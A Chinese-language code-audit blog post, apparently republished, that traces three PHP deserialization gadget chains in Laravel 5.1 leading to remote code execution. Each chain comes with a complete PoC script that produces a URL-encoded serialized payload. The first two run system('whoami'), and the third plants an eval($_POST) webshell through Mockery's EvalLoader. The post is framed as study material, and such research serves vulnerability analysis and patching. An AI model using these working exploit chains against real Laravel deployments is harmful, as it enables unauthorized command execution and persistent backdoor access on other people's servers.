laravel5.1反序列化-代码审计学习
2022-5-13 00:1:47 Author: xz.aliyun.com(查看原文) 阅读量:36 收藏

前言
初次编写,请师傅们多多照顾,如有错误,请批评指正

0x00 准备

使用composer拉一个laravel5.1的环境
composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"
配置路由 控制等不在叙述

0x01 RCE1

先搜索__destruct方法
WindowsPipes类中__destruct方法可任意删除文件

这里调用到了$this->removeFiles()跟进查看

遍历了$this->files判断文件是否存在,然后删除文件。这里调用__toString
全局搜索__toString
View类中__toString方法调用了$this->render()

跟进这个函数看看

发现调用了$this->renderContent()
跟进看看

这里调用了$this->factory->incrementRender()可以调用任意类的__call方法
全局搜索__call方法
ValidGenerator类中__call方法需要控制参数达到RCE的目的

$this->vaildator可控,接下来我们只需要控制$res即可
$res = call_user_func_array(array($this->generator, $name), $arguments);
调用方式为任意类的函数方法,$this->generator可控,所以就代表了可以调用任意类的__call方法,我们只需要找到一个__call方法返回任何值即可。
DefaultGenerator类中__call方法可以返回任意值,

接下来构造poc

<?php
namespace Faker;
class DefaultGenerator{
    protected $default;
    public function __construct(){
        $this->default='whoami';
    }
}


namespace Faker;
class ValidGenerator{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    public function __construct(){
        $this->maxRetries=1;
        $this->validator='system';
        $this->generator=new DefaultGenerator;
    }

}
namespace Illuminate\View;
use Faker\ValidGenerator;
class View{
    protected $factory;
    public function __construct(){
        $this->factory=new ValidGenerator;
    }
}


namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes{
    private $files = array();
    public function __construct(){
        $this->files = array(new View());
    }
}
echo urlencode(serialize(new WindowsPipes()));
?>

成功RCE

RCE2

继续从__call方法寻找
全局搜索__calll
DatabaseManager类中调用了$this->connection()

跟进$this->connecttion()

通过$this->parseConnectionName($name)$name赋值,跟进

通过$this->getDefaultConnection()$name赋值,跟进
直接返回了$this->app['config']['database.default'];

最后返回,

跟进endsWitch

传入的$name并不在传入的['::read','::write']中所以返回false
最终返回了[$name,null] $name最终被传入的$this->app['config']['database.default']赋值
$this->connections[$name]不存在,执行$this->makeConnection($name)方法,跟进

发现call_user_func方法控制参数可达到RCE的目的,
第二个参数$config,跟进$this->getConfig()看看返回值是什么

通过app['config']['database.connections']赋值给$connections然后通过Arr::get($connections, $name)赋值给$config
跟进Arr::get

传入的$keywhoami,所以直接返回了system
相当于$config=$this->app['config']['database.connections']['whoami']
第一个参数$this->extensions[name]赋值call_user_func

<?php
namespace Illuminate\Database;
class DatabaseManager{
    protected $extensions = array();
    protected $app=array();
    public function __construct(){
        $this->extensions['whoami']='call_user_func';
        $this->app['config']['database.connections']=['whoami'=>'system'];
        $this->app['config']['database.default'] = 'whoami';
    }
}


namespace Illuminate\View;
use Illuminate\Database\DatabaseManager;
class View{
    protected $factory;
    public function __construct(){
        $this->factory=new DatabaseManager;
    }
}


namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes{
    private $files = array();
    public function __construct(){
        $this->files = array(new View());
    }
}
echo urlencode(serialize(new WindowsPipes()));
?>

成功RCE

RCE3

继续从__call方法寻找
全局搜索__call
Validator类中__call方法中满足$this->extensions[$rule]存在则调用$this->callExtension方法

跟进看一下

满足$callback是字符串则调用$this->callClassBasedExtension(),继续跟进$this->callClassBasedExtension()

这里
call_user_func_array([$this->container->make($class), $method], $parameters);
只要控制$this->container->make($class)的返回值,就可以调用任意类的任意方法。
全局搜索一下危险函数,如evalsystemcall_user_funcshell_exec
运气比较好搜了一下eval便出了
EvalLoader类中存在load方法满足class_exists($definition->getClassName(),false)===false则调用了eval函数

跟进一下$definition->getCode()看一下参数是否可控

直接返回了$this->code参数便可控,
调用load函数中,发现需要传参MockDefinition $definition,上面调用__call这一步就没有办法用了,因为没有传参。所以无法控制$parameters。所以这里换到了ObjectStateToken类中的__toString函数可以控制传参。

成功调用到了EvalLoader类中的load函数

看一下class_exists的定义

$definition->getClassName()返回一个没有定义的类即可。跟进查看

返回了$this->config->getName()让他去调用__call方法返回一个任意值即可。
这里还利用DefaultGenerator类中的__call方法返回任意值,
接下来控制$definition->getCode(),跟进查看一下

直接返回了$this->code直接赋值即可。
构造poc

<?php
namespace Mockery\Loader;
class EvalLoader{}

namespace Faker;
use Mockery\Loader\EvalLoader;
class DefaultGenerator{
    public $default;
    public function __construct(){
        $this->default=new EvalLoader;
    }
}
namespace Illuminate\Validation;
use Faker\DefaultGenerator;
class Validator{
    protected $extensions = [];
    protected $container;
    public function __construct(){
        $this->extensions['y']='[email protected]';
        $this->container=new DefaultGenerator;
    } 
}

namespace Mockery\Generator;
use Faker\DefaultGenerator;
class MockDefinition{
    protected $config;
    public function __construct(){
        $this->config=new DefaultGenerator;
        $this->config->default='huahua';
        $this->code='<?php eval($_POST[1]);';
    }
}

namespace Prophecy\Argument\Token;
use Illuminate\Validation\Validator;
use Mockery\Generator\MockDefinition;
class ObjectStateToken{
    private $util;
    private $value;
    public function __construct(){
        $this->util=new Validator;
        $this->value=new MockDefinition;
    }
}


namespace Symfony\Component\Process\Pipes;
use Prophecy\Argument\Token\ObjectStateToken;
class WindowsPipes{
    private $files = array();
    public function __construct(){
        $this->files = array(new ObjectStateToken());
    }
}
echo urlencode(serialize(new WindowsPipes()));
?>

文章来源: https://xz.aliyun.com/t/11323
如有侵权请联系:admin#unsafe.sh